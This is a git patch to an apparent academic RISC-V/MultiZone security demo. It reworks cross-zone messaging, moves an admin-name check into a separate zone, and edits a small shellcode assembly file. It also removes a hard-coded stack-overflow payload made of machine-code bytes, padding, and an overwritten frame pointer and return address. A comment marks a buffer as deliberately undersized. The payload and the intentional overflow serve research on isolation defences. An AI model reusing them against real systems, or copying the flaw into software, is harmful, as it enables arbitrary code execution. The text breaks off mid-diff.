From 29b7a703a2a232df18ed631c9f720a75b6b1197e Mon Sep 17 00:00:00 2001
From: fptk <fptk@zedat.fu-berlin.de>
Date: Sun, 28 Feb 2021 22:37:20 +0100
Subject: [PATCH] a working cross zone admin_name checko + payload variant.
 Still containing a lot of debug-printfs, cleanup will be in a separate commit

---
 ArtyImplementation/bsp/X300/multizone.cfg     |     4 +-
 ArtyImplementation/get_debuginfo.py           |    28 +-
 ArtyImplementation/payload_arty.as            |     4 +-
 ArtyImplementation/shared/ZoneMessage.c       |    55 +-
 .../shared/include/ZoneMessage.h              |    11 +-
 .../shared/include/messageHandling.h          |     7 +-
 ArtyImplementation/shared/messageHandling.c   |   189 +-
 ArtyImplementation/zone1/server_utility.h     |    63 +-
 ArtyImplementation/zone2/main.c               |   478 +-
 ArtyImplementation/zone2/main.o               |   Bin 255676 -> 156600 bytes
 ArtyImplementation/zone2/zone2.bin            |   Bin 18528 -> 11672 bytes
 ArtyImplementation/zone2/zone2.elf            |   Bin 128460 -> 100236 bytes
 ArtyImplementation/zone2/zone2.hex            |  1885 +-
 ArtyImplementation/zone2/zone2.lst            | 78528 +++++++---------
 ArtyImplementation/zone2/zone2.siz            |    42 +-
 assembler.py                                  |     5 +-
 16 files changed, 34983 insertions(+), 46316 deletions(-)

diff --git a/ArtyImplementation/bsp/X300/multizone.cfg b/ArtyImplementation/bsp/X300/multizone.cfg
index 6ea50a4..fd797ac 100644
--- a/ArtyImplementation/bsp/X300/multizone.cfg
+++ b/ArtyImplementation/bsp/X300/multizone.cfg
@@ -7,7 +7,7 @@ Tick = 10 # ms
 Zone = 1
 	plic = 21 # ETHERNET 
 	base = 0x20440000; size =     128K; rwx = rwx # FLASH 
-	base = 0x80001800; size =      38K; rwx = rwx # RAM
+	base = 0x80001800; size =      32K; rwx = rwx # RAM
 	base = 0x8000B000; size =       2K; rwx = w  # SH BUFF1
 	base = 0x8000B800; size =       8K; rwx = w  # SH BUFF2
 	base = 0x60000000; size =   0x2000; rwx = rw # XEMACLITE
@@ -15,6 +15,6 @@ Zone = 1
 Zone = 2
 	plic = 3 # UART
 	irq  = 3 # DMA
-	base = 0x20401800; size =      26K; rwx = rx # FLASH
+	base = 0x20401800; size =      48K; rwx = rx # FLASH
 	base = 0x8000D800; size =       4K; rwx = rw # RAM
 	base = 0x10013000; size =    0x100; rwx = rw # UART
diff --git a/ArtyImplementation/get_debuginfo.py b/ArtyImplementation/get_debuginfo.py
index f4ffe16..dd774ce 100755
--- a/ArtyImplementation/get_debuginfo.py
+++ b/ArtyImplementation/get_debuginfo.py
@@ -3,24 +3,21 @@
 import os
 import sys
 import subprocess
+from functools import reduce
 
 try:
     if sys.argv[1] == "--help" or sys.argv[1] == "-h":
-        print(f"{sys.argv[0]} elffile outputfile")
+        print(f"{sys.argv[0]} elffile[s]")
 except:
-        print(f"{sys.argv[0]} elffile outputfile")
+        print(f"{sys.argv[0]} elffile[s]")
         exit()
-elf_file = ""
-out_file = ""
+elf_files = []
 try:
-    elf_file = sys.argv[1]
+    elf_files = sys.argv[1:]
 except:
     print("Error parsing parameters: elffile")
 
-try:
-    out_file = sys.argv[2]
-except:
-    print("Error parsing parameters: outputfile")
+out_files = list(map(lambda elf: elf.split('/')[-1].split('.elf')[0] + ".dmp", elf_files))
 
 arch_prefix = "riscv64-unknown-elf-"
 try:
@@ -46,8 +43,11 @@ if not os.path.isfile(objdmp):
 
 subprocess.run(["make"])
 
-out_file = open(out_file, "w")
-subprocess.run([f"{objdmp}", "-D", elf_file],stdout=out_file)
-if not out_file.closed:
-    out_file.close()
-
+out_files = list(map(lambda out: open(out, "w"), out_files))
+out_files = list(zip(out_files, elf_files))
+reduce(
+    lambda _, t: subprocess.run([f"{objdmp}", "-D", t[1]],stdout=t[0])
+    , out_files
+    , []
+    )
+map(lambda out: out.close() if not out.closed else out, out_files)
diff --git a/ArtyImplementation/payload_arty.as b/ArtyImplementation/payload_arty.as
index 5a6a26d..ef24a35 100644
--- a/ArtyImplementation/payload_arty.as
+++ b/ArtyImplementation/payload_arty.as
@@ -1,4 +1,4 @@
 .text
-    li a0, 0x2044b338
-    li t3, 0x204408aa
+    li a0, 0x2040424c
+    li t3, 0x20440964
     jalr t4, t3
diff --git a/ArtyImplementation/shared/ZoneMessage.c b/ArtyImplementation/shared/ZoneMessage.c
index e249960..febfa40 100644
--- a/ArtyImplementation/shared/ZoneMessage.c
+++ b/ArtyImplementation/shared/ZoneMessage.c
@@ -1,46 +1,69 @@
 #include "include/ZoneMessage.h"
 
 
-void initZoneMessage(struct ZoneMessage *zm)
+struct ZoneMessage *initZoneMessage()
 {
-	zm = malloc(sizeof(struct ZoneMessage));
+	struct ZoneMessage *zm;
+	zm = (struct ZoneMessage*)malloc(sizeof(struct ZoneMessage));
 	zm->len = 0;
 	zm->data = NULL;
+	return zm;
 }
 void freeZoneMessage(struct ZoneMessage *zm)
 {
-	zm->data;
+	free(zm->data);
 	free(zm);
 }
 
-void setZoneMessage(struct ZoneMessage *zm, char *data, uint16_t length)
+
+struct ZoneMessage*  setZoneMessage(struct ZoneMessage* zm, char* data, uint16_t dataLen, enum NEEDSINIT initState)
 {
-	zm->data = (char*)malloc(length);
-	memcpy(data, zm->data, length);
-	zm->len = length;
+	if(initState == NotYetInitialized)
+		zm = initZoneMessage();
+	zm->data = (char*)malloc(dataLen);
+	memset(zm->data, 0, dataLen);
+	zm->len = dataLen;
+	memcpy(zm->data, data, dataLen);
+
+	return zm;
 }
 
 char *serializeZoneMessage(struct ZoneMessage* zm, enum IMPLICITFREE freeAfter)
 {
-	char *buffer = (char*)malloc(zm->len + sizeof(uint16_t));
-	memcpy(buffer, (char*)&zm->len, sizeof(uint16_t));
-	memcpy(buffer + sizeof(uint16_t), zm->data, zm->len);
+
+	char *buffer = (char*)malloc(TransmissionHeaderLength + sizeof(uint16_t) + zm->len);
+
+	uint16_t written = 0;
+
+	memcpy(buffer + written, TransmissionHeader, TransmissionHeaderLength);
+	written += TransmissionHeaderLength;
+
+	*(uint16_t*)(buffer+written) = zm->len;
+	written += sizeof(uint16_t);
+
+
+	memcpy(buffer + written, zm->data, zm->len);
+
+
 	if(ImplicitFree == freeAfter)
 		freeZoneMessage(zm);
 
 	return buffer;
+
 }
 
 struct ZoneMessage *deserializeZoneMessage(char *zmb, enum IMPLICITFREE freeAfter)
 {
-	struct ZoneMessage *zm = (struct ZoneMessage *)calloc(1, sizeof(struct ZoneMessage));
-	initZoneMessage(zm);
-	zm->len = *(uint16_t*)zmb;
-	zm->data = (char*)malloc(zm->len);
-	memcpy(zm->data, zmb+sizeof(uint16_t), zm->len);
-
+	struct ZoneMessage *zm;
+	zm = setZoneMessage(
+			zm
+			, zmb + TransmissionHeaderLength + sizeof(uint16_t)
+	        , *(uint16_t*)(zmb + TransmissionHeaderLength)
+		    , NotYetInitialized
+	);
 	if(ImplicitFree == freeAfter)
 		free(zmb);
 
 	return zm;
 }
+
diff --git a/ArtyImplementation/shared/include/ZoneMessage.h b/ArtyImplementation/shared/include/ZoneMessage.h
index 83d863e..864dc3a 100644
--- a/ArtyImplementation/shared/include/ZoneMessage.h
+++ b/ArtyImplementation/shared/include/ZoneMessage.h
@@ -13,11 +13,18 @@ struct ZoneMessage {
 };
 
 enum IMPLICITFREE {ExplicitFree, ImplicitFree};
+enum NEEDSINIT {NotYetInitialized, AlreadyInitialized};
 
-void initZoneMessage(struct ZoneMessage *zm);
-void setZoneMessage(struct ZoneMessage *zm, char *data, uint16_t length);
+static const char * TransmissionHeader = "TransmissionL";
+#define TransmissionHeaderLength strlen(TransmissionHeader) + 1
+
+
+struct ZoneMessage *initZoneMessage();
+void freeZoneMessage(struct ZoneMessage *zm);
+struct ZoneMessage*  setZoneMessage(struct ZoneMessage* zm, char* data, uint16_t dataLen, enum NEEDSINIT initState);
 
 char *serializeZoneMessage(struct ZoneMessage* zm, enum IMPLICITFREE freeAfter);
 struct ZoneMessage *deserializeZoneMessage(char *zmb, enum IMPLICITFREE freeAfter);
 
+
 #endif /* SHARED_INCLUDE_ZONEMESSAGE_H_ */
diff --git a/ArtyImplementation/shared/include/messageHandling.h b/ArtyImplementation/shared/include/messageHandling.h
index 8586e64..b9e8f01 100644
--- a/ArtyImplementation/shared/include/messageHandling.h
+++ b/ArtyImplementation/shared/include/messageHandling.h
@@ -9,7 +9,8 @@
 #include "ZoneMessage.h"
 
 #define printf2(format, args...) { /* Multi-part printf()  */\
-	char *str = malloc(128);									 \
+	char *str = malloc(128);		\
+	memset(str, 0, 128); \
 	if (str != NULL){										 \
 		const int len = snprintf(str, 128, format, ## args);	 \
 		for (int i=0; i<(len/16)+1; i++){					 \
@@ -21,7 +22,9 @@
 
 void msg_handler();
 
+struct ZoneMessage* receiveZoneMessageAndHandlePrintf2(uint8_t receiveFromZone, char *inputline);
 struct ZoneMessage* receiveZoneMessage(uint8_t receiveFromZone);
-void sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter);
+struct ZoneMessage* sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter);
+
 
 #endif /* ZONE1_MESSAGE_HANDLING_H_ */
diff --git a/ArtyImplementation/shared/messageHandling.c b/ArtyImplementation/shared/messageHandling.c
index 04b1bbd..845b03f 100644
--- a/ArtyImplementation/shared/messageHandling.c
+++ b/ArtyImplementation/shared/messageHandling.c
@@ -16,7 +16,8 @@ void msg_handler(char *inputline) {
 			if (strcmp("ping", msg) == 0){
 				MZONE_SEND(zone, "pong");
 
-			} else {
+			}
+			else {
 
 				// print multi-part string up to 64-1=63 char
 
@@ -42,48 +43,174 @@ void msg_handler(char *inputline) {
 	}
 
 }
+struct ZoneMessage* receiveZoneMessageLoop(uint8_t receiveFromZone, char *messageBuffer)
+{
+	//First Buff:
+	//[T,r,a,n,s,m,i,s,s,i,o,n,L,\0,len,len]
+	char *recvBuffer;
+	uint16_t toReceive = TransmissionHeaderLength
+			+ sizeof(uint16_t)
+			+ *(uint16_t*)(messageBuffer + TransmissionHeaderLength);
+	recvBuffer = (char*)malloc(toReceive);
+	uint16_t dataStringDBGLen= *(uint16_t*)(messageBuffer + TransmissionHeaderLength);
+	uint16_t received = 0;
+	uint16_t receivedMessage = 1;
+	while (1)
+	{
+		if(receivedMessage != 0) {
+			uint16_t copyBytes;
+			copyBytes = 16;
+			if (copyBytes > toReceive-received)
+				copyBytes = toReceive-received;
+			memcpy(recvBuffer + received, messageBuffer, copyBytes);
+			received += 16;
+		}
+		if(received < toReceive) {
+			MZONE_WFI(); //Wait until a message arrives
+		}
+		else
+			break; //everything has been received
+		receivedMessage = MZONE_RECV(receiveFromZone, messageBuffer);
+	}
+
+	struct ZoneMessage *zm;
+
+	zm = deserializeZoneMessage(recvBuffer, ImplicitFree);
+
+	return zm;
+}
+struct ZoneMessage* receiveZoneMessageAndHandlePrintf2(uint8_t receiveFromZone, char *inputline) {
+		char messageBuffer[16];
+		static char str[2][64] = {"",""};
+		static char *recvBuffer[2] = {str[0], str[1]};
+		memset(&messageBuffer[0], 0, 16);
+		if (MZONE_RECV(receiveFromZone, messageBuffer)) {
+			if(strncmp(TransmissionHeader, &messageBuffer[0], strlen(TransmissionHeader)) == 0) {
+				struct ZoneMessage *zm;
+				printf("received a ZM-Header mesg: %s%02u\n",messageBuffer, *(uint16_t*)(messageBuffer + TransmissionHeaderLength));
+				zm = receiveZoneMessageLoop(receiveFromZone, messageBuffer);
+				printf("Deserialized the ZM-Header mesg\n");
+				return zm;
+
+			}
+			else {
+				// print multi-part string up to 64-1=63 char
+				memcpy( recvBuffer[receiveFromZone-1], messageBuffer, sizeof(messageBuffer));
+				recvBuffer[receiveFromZone-1] += sizeof(messageBuffer);
+				if ( recvBuffer[receiveFromZone-1] > str[receiveFromZone-1] + sizeof(str[receiveFromZone]))
+					recvBuffer[receiveFromZone-1]=str[receiveFromZone-1];
+
+				if ( strnlen(messageBuffer, sizeof(messageBuffer)) < sizeof(messageBuffer) ){
+
+					write(1, "\e7\e[2K", 6);   // save curs pos & clear entire line
+						printf("\rZ%d > %s \n", receiveFromZone, str[receiveFromZone-1]);
+						if (strrchr(str[receiveFromZone-1], '\n')==NULL) printf("\n");
+						printf("\rZ2 > %s", inputline);
+					write(1, "\e8\e[2B", 6);   // restore curs pos & curs down 2x
+
+					recvBuffer[receiveFromZone-1]=str[receiveFromZone-1];
+
+				}
+				return NULL;
+			}
+		}
+		else {
+			return NULL;
+		}
+}
 
 struct ZoneMessage* receiveZoneMessage(uint8_t receiveFromZone)
 {
 	char messageBuffer[16];
 	memset(&messageBuffer[0], 0, 16);
 	if (MZONE_RECV(receiveFromZone, messageBuffer)) {
-		if(strncmp("TransmitLen", &messageBuffer[0], 11) == 0) {
-			//First Buff:
-			//[T,r,a,n,s,m,i,t,L,e,n,\0,len,len,len,len]
-			struct ZoneMessage *zm = (struct ZoneMessage*) calloc(1, sizeof(struct ZoneMessage));
-			initZoneMessage(zm);
-
-			zm->len = *(uint16_t *)&messageBuffer[12];
-			uint16_t received = 0;
-			zm->data = (char *)malloc(zm->len);
-			while(received < zm->len) {
-				MZONE_RECV(receiveFromZone, &messageBuffer[0]);
-				memcpy(zm->data + received, &messageBuffer[0], 16);
-				received += 16;
-			}
-
+		if(strncmp(TransmissionHeader, &messageBuffer[0], strlen(TransmissionHeader)) == 0) {
+			struct ZoneMessage *zm;
+			//printf2("received a ZM-Header mesg: %s%02u\n",messageBuffer, *(uint16_t*)(messageBuffer + TransmissionHeaderLength));
+			zm = receiveZoneMessageLoop(receiveFromZone, messageBuffer);
+			//printf2("Deserialized the ZM-Header mesg\n");
+			return zm;
 		}
+		return NULL;
 	}
-	else
+	else {
 		return NULL;
-
-
+	}
 }
 
-void sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter)
+struct ZoneMessage *sendZoneMessage(struct ZoneMessage* zm, uint8_t sendToZone, enum IMPLICITFREE freeAfter)
 {
-	char *zmb = serializeZoneMessage(zm, freeAfter);
+	char *zmb;
+
+	uint16_t dbglen = zm->len;
+
+	uint16_t len = TransmissionHeaderLength + sizeof(uint16_t) + zm->len;
+
+	if(sendToZone == 1) {
+		printf("Serializing via function call\n");
+		zmb = serializeZoneMessage(zm, freeAfter);
+		printf("Serialization successful\n");
+	}
+	if(sendToZone == 2) {
+		zmb = serializeZoneMessage(zm, freeAfter);
+		char *dbg = (char*)malloc(dbglen + 1);
+		memcpy(dbg, zmb+TransmissionHeaderLength + sizeof(uint16_t), dbglen);
+		dbg[dbglen] = 0;
+		printf2("Serialized into: [%s][%02u][%s]", zmb,*(uint16_t*)(zmb + TransmissionHeaderLength) , dbg);
+		free(dbg);
+	}
+	if(sendToZone == 1) {
+		printf("in second if scope\n");
+		char dbg[1];
+		printf("declared dbg\n");
+		dbg[0] = 'A';
+		printf("Assigned \"A\" to dbg\n");
+		printf("Copying into dbg buffer: from position zmb + %02u + %02u writing %02u Bytes\n", TransmissionHeaderLength, sizeof(zm->len), zm->len);
+		memcpy(dbg, zmb+TransmissionHeaderLength + sizeof(uint16_t), dbglen);
+	    printf("Serialized into: [%s][%02u][%02u]\n", zmb,*(uint16_t*)(zmb + TransmissionHeaderLength) , dbg[0]);
+	}
+
+	if(freeAfter == ImplicitFree)
+		zm = NULL;
+
 	uint16_t sent = 0;
-	char msgBuf[16] = "TransmitLen";
-	memcpy(&msgBuf[12],(char*)&zm->len, 4);
-
-	MZONE_SEND(sendToZone, msgBuf);
-	while(sent < zm->len) {
-		memset(&msgBuf[0],0, 16);
-		//TODO: May just iterate over zm->data directly instead of copy
-		memcpy(&msgBuf[0], zm->data + sent, zm->len - sent);
-		MZONE_SEND(sendToZone, msgBuf);
-		sent +=16;
+
+	while(sent < len) {
+		char msgBuf[16];
+		memset(msgBuf,0, sizeof(msgBuf));
+		//TODO: May just iterate over zmb directly instead of copy
+		uint16_t sendBytes = sizeof(msgBuf);
+		if (sendBytes > (len - sent))
+			sendBytes = len-sent;
+		memcpy(msgBuf, zmb + sent, sendBytes);
+		if(MZONE_SEND(sendToZone, msgBuf)) {
+			sent += 16;
+			if(sendToZone == 1) {
+				char dbg[17];
+				memcpy(dbg, msgBuf, 16);
+				dbg[16] = 0;
+				if(sent == 16) {
+					printf("Sent: %s%02u\n", dbg, (uint16_t)dbg[TransmissionHeaderLength]);
+				}
+				else
+					printf("Sent: %02u\n",dbg[0]);
+			}
+		}
+
+		if(sent < len) {
+			MZONE_YIELD();
+		}
+		else {
+			break;
+		}
 	}
+	/*if(sendToZone == 2) {
+		printf2("Fully sent message\n");
+	}*/
+	if(sendToZone == 1) {
+		printf("Sent whole message to zone 1\n");
+	}
+	return zm;
 }
+
+
diff --git a/ArtyImplementation/zone1/server_utility.h b/ArtyImplementation/zone1/server_utility.h
index c18addb..a259fb7 100644
--- a/ArtyImplementation/zone1/server_utility.h
+++ b/ArtyImplementation/zone1/server_utility.h
@@ -30,11 +30,23 @@
 	"</html>"
 
 
-//char *admin_name = "my_secret_admin_name";
-char *admin_name = "injection working!!!";
-
 int is_admin(char *name, uint32_t name_len) {
-	return strlen(admin_name) == name_len && strncmp(name, admin_name, name_len) == 0;
+	struct ZoneMessage *zm;
+
+	zm = setZoneMessage(zm, name, name_len, NotYetInitialized);
+	zm = sendZoneMessage(zm, 2, ImplicitFree);
+
+	while(zm == NULL) {
+		zm = receiveZoneMessage(2);
+
+		MZONE_YIELD(); //Wait for a message to arrive
+	}
+
+	printf2("Received Message:\nlen: %u\ndata: %u\n", zm->len, *zm->data);
+
+	if(zm != NULL && zm->len == 1 && 1 == *zm->data)
+		return 1;
+	return 0;
 }
 
 char *generate_page(char *name, uint32_t name_len) {
@@ -67,51 +79,12 @@ char *server_request_handler(char *location, enum request_type type, char *data,
 		if(data_len >= 5 && strncmp(data, "name=", 5) == 0) {
 			uint32_t name_len = data_len - 5;
 			name_len = webserver_percent_decode(&data[5], name_len);
-			data =    "X" // padding to align the instructions
-
-			          "\x37\xb5\x44\x20" // 0: lui a0,0x2044b
-			          "\x13\x05\x85\x33" // 4: addi a0,a0,824 # 0x2044b338
-			          "\x37\x1e\x44\x20" // 8: lui t3,0x20441
-			          "\x13\x0e\xae\x8a" // c: addi t3,t3,-1878 # 0x204408aa
-			          "\xe7\x0e\x0e\x00" // 10: jalr t4,t3
-
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-			          "XXXX" // padding to overwrite the return address
-					  "XXXX" // padding to overwrite the return address
-
-			          "\x2C\x69\x00\x80" // the new frame pointer: 0x8000692C
-			          "\x78\x68\x00\x80"; // the new return address: 0x80006878
-
 
 			// nobody could possibly enter a name longer than 20 characters, so this buffer
 			// is definitely large enough
 			char *return_string;
-			//return_string = attack_me(&data[5], name_len);
-			return_string = generate_page(data, 137);
+
+			return_string = generate_page(&data[5], name_len);
 
 			char* response = http_prepare_response(return_string, strlen(return_string), 200, out_len);
 			//free(return_string);
diff --git a/ArtyImplementation/zone2/main.c b/ArtyImplementation/zone2/main.c
index 5b7be1b..03e3302 100644
--- a/ArtyImplementation/zone2/main.c
+++ b/ArtyImplementation/zone2/main.c
@@ -109,439 +109,7 @@ __attribute__(( interrupt())) void trap_handler(void){
 
 }
 
-// ------------------------------------------------------------------------
- void print_cpu_info(void) {
-// ------------------------------------------------------------------------
-
-	// misa
-	const unsigned long misa = CSRR(misa);
-	const int xlen = ((misa >> __riscv_xlen-2)&0b11)==1 ?  32 :
-					 ((misa >> __riscv_xlen-2)&0b11)==2 ?  64 :
-					 ((misa >> __riscv_xlen-2)&0b11)==1 ? 128 :
-							 	 	 	 	 	 	 	 	0 ;
-	char misa_str[26+1]="";
-	for (int i=0, j=0; i<26; i++)
-		if ( (misa & (1ul << i)) !=0){
-			misa_str[j++]=(char)('A'+i); misa_str[j]='\0';
-		}
-	printf("Machine ISA   : 0x%08x RV%d %s \n", (int)misa, xlen, misa_str);
-
-	// mvendid
-	const unsigned long  mvendorid = CSRR(mvendorid);
-	const char *mvendorid_str = (mvendorid==0x10e31913 ? "SiFive, Inc.\0" :
-							     mvendorid==0x489      ? "SiFive, Inc.\0" :
-							     mvendorid==0x57c      ? "Hex Five, Inc.\0" :
-							    		 	 	 	 	 "\0");
-	printf("Vendor        : 0x%08x %s \n", (int)mvendorid, mvendorid_str);
-
-	// marchid
-	const unsigned long  marchid = CSRR(marchid);
-	const char *marchid_str = (mvendorid==0x489 && (int)misa==0x40101105    && marchid==0x80000002 ? "E21\0"  :
-							   mvendorid==0x489 && (int)misa==0x40101105    && marchid==0x00000001 ? "E31\0"  :
-						       mvendorid==0x489 && misa==0x8000000000101105 && marchid==0x00000001 ? "S51\0"  :
-						       mvendorid==0x57c && (int)misa==0x40101105    && marchid==0x00000001 ? "X300\0" :
-						       "\0");
-	printf("Architecture  : 0x%08x %s \n", (int)marchid, marchid_str);
-
-	// mimpid
-	printf("Implementation: 0x%08x \n", CSRR(mimpid) );
-
-	// mhartid
-	printf("Hart id       : 0x%1x \n", CSRR(mhartid) );
-
-	// CPU clk
-	printf("CPU clock     : %d MHz \n", (int)(CPU_FREQ/1E+6) );
-
-	// RTC clk
-	printf("RTC clock     : %d KHz \n", (int)(RTC_FREQ/1E+3) );
-
-}
-
-// ------------------------------------------------------------------------
- int cmpfunc(const void* a, const void* b){
-
-    const int ai = *(const int* )a;
-    const int bi = *(const int* )b;
-    return ai < bi ? -1 : ai > bi ? 1 : 0;
-}
-
-// ------------------------------------------------------------------------
-void print_stats(void){
-
-	#define MHZ (CPU_FREQ/1000000)
-	const int COUNT = 11; // odd values for accurate median
-	int cycles[COUNT], instrs[COUNT];
-
-	for (int i=0; i<COUNT; i++){
-
-		const unsigned long I1 = MZONE_CSRR(CSR_MINSTRET);
-		const unsigned long C1 = MZONE_CSRR(CSR_MCYCLE);
-		MZONE_YIELD();
-		const unsigned long I2 = MZONE_CSRR(CSR_MINSTRET);
-		const unsigned long C2 = MZONE_CSRR(CSR_MCYCLE);
-
-		cycles[i] = C2-C1; instrs[i] = I2-I1;
-
-	}
-
-	int max_cycle = 0;
-	for (int i=0; i<COUNT; i++)	max_cycle = (cycles[i] > max_cycle ? cycles[i] : max_cycle);
-	char str[16]; sprintf(str, "%lu", max_cycle); const int col_len = strlen(str);
-
-	for (int i=0; i<COUNT; i++)
-		printf("%*d instr %*d cycles %*d us \n", col_len, instrs[i], col_len, cycles[i], col_len, cycles[i]/MHZ);
-
-	qsort(cycles, COUNT, sizeof(int), cmpfunc);
-	qsort(instrs, COUNT, sizeof(int), cmpfunc);
-
-	printf("-----------------------------------------\n");
-    int min = instrs[0], med = instrs[COUNT/2], max = instrs[COUNT-1];
-    printf("instrs min/med/max = %d/%d/%d \n", min, med, max);
-	min = cycles[0], med = cycles[COUNT/2], max = cycles[COUNT-1];
-	printf("cycles min/med/max = %d/%d/%d \n", min, med, max);
-	printf("time   min/med/max = %d/%d/%d us \n", min/MHZ, med/MHZ, max/MHZ);
-
-	// Kernel stats (#ifdef STATS)
-	const unsigned irq_instr_min = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER26) & 0xFFFF);
-	const unsigned irq_instr_max = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER26) >>16);
-	const unsigned irq_cycle_min = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER27) & 0xFFFF);
-	const unsigned irq_cycle_max = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER27) >>16);
-	const unsigned long instr_min = MZONE_CSRR(CSR_MHPMCOUNTER28);
-	const unsigned long instr_max = MZONE_CSRR(CSR_MHPMCOUNTER29);
-	const unsigned long cycle_min = MZONE_CSRR(CSR_MHPMCOUNTER30);
-	const unsigned long cycle_max = MZONE_CSRR(CSR_MHPMCOUNTER31); // <= reset kern stats
-
-	if (instr_min>0){
-
-		printf("\n");
-		printf("Kernel time\n");
-		printf("-----------------------------------------\n");
-		printf("instrs min/max = %lu/%lu \n", instr_min, instr_max);
-		printf("cycles min/max = %lu/%lu \n", cycle_min, cycle_max);
-		printf("time   min/max = %lu/%lu us\n", cycle_min/MHZ, cycle_max/MHZ);
-
-		printf("\n");
-		printf("IRQ latency\n");
-		printf("-----------------------------------------\n");
-		printf("instrs min/max = %d/%d \n", irq_instr_min, irq_instr_max);
-		printf("cycles min/max = %d/%d \n", irq_cycle_min, irq_cycle_max);
-		printf("time   min/max = %d/%d us\n", irq_cycle_min/MHZ, irq_cycle_max/MHZ);
-
-	}
-
-}
-
-// ------------------------------------------------------------------------
-void print_pmp(void){
-// ------------------------------------------------------------------------
-
-	#define TOR   0b00001000
-	#define NA4   0b00010000
-	#define NAPOT 0b00011000
-
-	#define PMP_R 1<<0
-	#define PMP_W 1<<1
-	#define PMP_X 1<<2
-
-	uint64_t pmpcfg=0x0;
-#if __riscv_xlen==32
-	uint32_t pmpcfg0; asm ( "csrr %0, pmpcfg0" : "=r"(pmpcfg0) );
-	uint32_t pmpcfg1; asm ( "csrr %0, pmpcfg1" : "=r"(pmpcfg1) );
-	pmpcfg = pmpcfg1;
-	pmpcfg <<= 32;
-	pmpcfg |= pmpcfg0;
-#else
-	asm ( "csrr %0, pmpcfg0" : "=r"(pmpcfg) );
-#endif
-
-	unsigned long pmpaddr[8];
-	asm ( "csrr %0, pmpaddr0" : "=r"(pmpaddr[0]) );
-	asm ( "csrr %0, pmpaddr1" : "=r"(pmpaddr[1]) );
-	asm ( "csrr %0, pmpaddr2" : "=r"(pmpaddr[2]) );
-	asm ( "csrr %0, pmpaddr3" : "=r"(pmpaddr[3]) );
-	asm ( "csrr %0, pmpaddr4" : "=r"(pmpaddr[4]) );
-	asm ( "csrr %0, pmpaddr5" : "=r"(pmpaddr[5]) );
-	asm ( "csrr %0, pmpaddr6" : "=r"(pmpaddr[6]) );
-	asm ( "csrr %0, pmpaddr7" : "=r"(pmpaddr[7]) );
-
-	for (int i=0; i<8; i++){
-
-		const uint8_t cfg = (pmpcfg >> 8*i); if (cfg==0x0) continue;
-
-		char rwx[3+1] = {cfg & PMP_R ? 'r':'-', cfg & PMP_W ? 'w':'-', cfg & PMP_X ? 'x':'-', '\0'};
-
-		unsigned long start=0, end=0;
-
-		char type[5+1]="";
-
-		if ( (cfg & (TOR | NA4 | NAPOT)) == TOR){
-			start = pmpaddr[i-1]<<2;
-			end =  (pmpaddr[i]<<2) -1;
-			strcpy(type, "TOR");
-
-		} else if ( (cfg & (TOR | NA4 | NAPOT)) == NA4){
-			start = pmpaddr[i]<<2;
-			end =  start+4 -1;
-			strcpy(type, "NA4");
-
-		} else if ( (cfg & (TOR | NA4 | NAPOT)) == NAPOT){
-			for (int j=0; j<__riscv_xlen; j++){
-				if ( ((pmpaddr[i] >> j) & 0x1) == 0){
-					const uint64_t size = 1 << (3+j);
-					start = (pmpaddr[i] >>j) <<(j+2);
-					end = start + size -1;
-					strcpy(type, "NAPOT");
-					break;
-				}
-			}
-
-		} else break;
-
-		printf("0x%08x 0x%08x %s %s \n", (unsigned long)start, (unsigned int)end, rwx, type);
-
-	}
-
-}
-
-// --------------------------------------------------------------
-
-// ------------------------------------------------------------------------
-void cmd_handler(){
-
-	const char * tk[4] = { strtok(inputline, " "), strtok(NULL, " "), strtok(NULL, " "), strtok(NULL, " ")};
-
-	if (tk[0] == NULL) tk[0] = "help";
-
-	// --------------------------------------------------------------------
-	if (strcmp(tk[0], "load")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL){
-			uint8_t data = 0x00;
-			const unsigned long addr = strtoul(tk[1], NULL, 16);
-			asm ("lbu %0, (%1)" : "+r"(data) : "r"(addr));
-			printf("0x%08x : 0x%02x \n", (unsigned int)addr, data);
-		} else printf("Syntax: load address \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "store")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL && tk[2] != NULL){
-			const uint32_t data = (uint32_t)strtoul(tk[2], NULL, 16);
-			const unsigned long addr = strtoul(tk[1], NULL, 16);
-
-			if ( strlen(tk[2]) <=2 )
-				asm ( "sb %0, (%1)" : : "r"(data), "r"(addr));
-			else if ( strlen(tk[2]) <=4 )
-				asm ( "sh %0, (%1)" : : "r"(data), "r"(addr));
-			else
-				asm ( "sw %0, (%1)" : : "r"(data), "r"(addr));
-
-			printf("0x%08x : 0x%02x \n", (unsigned int)addr, (unsigned int)data);
-		} else printf("Syntax: store address data \n");
-
-	// --------------------------------------------------------------------
-	} else if (strcmp(tk[0], "exec")==0){
-	// --------------------------------------------------------------------
-		if (tk[1] != NULL){
-			const unsigned long addr = strtoul(tk[1], NULL, 16);
-			asm ( "jr (%0)" : : "r"(addr));
-		} else printf("Syntax: exec address \n");
-
